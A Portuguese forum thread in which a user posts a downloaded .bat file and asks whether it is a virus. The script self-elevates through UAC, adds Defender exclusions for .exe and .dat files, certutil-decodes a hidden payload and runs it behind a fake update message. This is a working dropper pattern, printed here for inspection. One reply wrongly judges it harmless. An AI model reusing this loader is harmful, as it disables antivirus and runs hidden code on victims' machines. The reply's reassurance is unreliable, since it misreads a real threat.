Como saber se .bat é vírus?

[Gabriel616]

Olá pessoal. 

 

Baixei da internet um software que vinha com um arquivo .bat, e como sei que a extensão é muito utilizada para fazer malwares, abri o arquivo com o notepad.

 

O código é o seguinte:

 

@echo off
 CLS
 ECHO.
 ECHO ======================================
 ECHO ===Running Admin shell please wait====

:init
 setlocal DisableDelayedExpansion
 set cmdInvoke=1
 set winSysFolder=System32
 set "batchPath=%~0"
 for %%k in (%0) do set batchName=%%~nk
 set "vbsGetPrivileges=%temp%\OEgetPriv_%batchName%.vbs"
 setlocal EnableDelayedExpansion

:checkPrivileges
  NET FILE 1>NUL 2>NUL
  if '%errorlevel%' == '0' ( goto gotPrivileges ) else ( goto getPrivileges )

:getPrivileges
  if '%1'=='ELEV' (echo ELEV & shift /1 & goto gotPrivileges)
  ECHO.
  ECHO **************************************
  ECHO Invoking UAC for Privilege Escalation
  ECHO **************************************

  ECHO Set UAC = CreateObject^("Shell.Application"^) > "%vbsGetPrivileges%"
  ECHO args = "ELEV " >> "%vbsGetPrivileges%"
  ECHO For Each strArg in WScript.Arguments >> "%vbsGetPrivileges%"
  ECHO args = args ^& strArg ^& " "  >> "%vbsGetPrivileges%"
  ECHO Next >> "%vbsGetPrivileges%"

  if '%cmdInvoke%'=='1' goto InvokeCmd 

  ECHO UAC.ShellExecute "!batchPath!", args, "", "runas", 1 >> "%vbsGetPrivileges%"
  goto ExecElevation

:InvokeCmd
  ECHO args = "/c """ + "!batchPath!" + """ " + args >> "%vbsGetPrivileges%"
  ECHO UAC.ShellExecute "%SystemRoot%\%winSysFolder%\cmd.exe", args, "", "runas", 1 >> "%vbsGetPrivileges%"

:ExecElevation
 "%SystemRoot%\%winSysFolder%\WScript.exe" "%vbsGetPrivileges%" %*
 exit /B

:gotPrivileges
 setlocal & cd /d %~dp0
 if '%1'=='ELEV' (del "%vbsGetPrivileges%" 1>nul 2>nul  &  shift /1)

 powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExt "exe"
 powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionExt "dat"

 ECHO.
 ECHO Download update..
 ping 127.0.0.1 -n 8 > nul

 certutil -decodehex -f common.dat common_tmp.dat

 start common_tmp.dat

 ECHO %batchName% Arguments: P1=%1 P2=%2 P3=%3 P4=%4 P5=%5 P6=%6 P7=%7 P8=%8 P9=%9
 cmd /k
 exit

 

O que aconteceria se eu executasse isso? Obrigado.

[Pedro Math.pi]

Aparentemente um código pra elevar os privilégios (adm) para outro código ou executável.

[ricardo_br]

Batch pode tanto conter vírus ou não, como um exe pode conter vírus ou não. A vantagem que você tem  nos batch é que você pode abrir eles no notepad e analisar o código.

 

Esse batch aparentemente cria um script VBS para pedir elevação e mexe alguma coisa com certificados que não entendi mais não acredito que seja vírus, o código não é complexo suficiente para isso.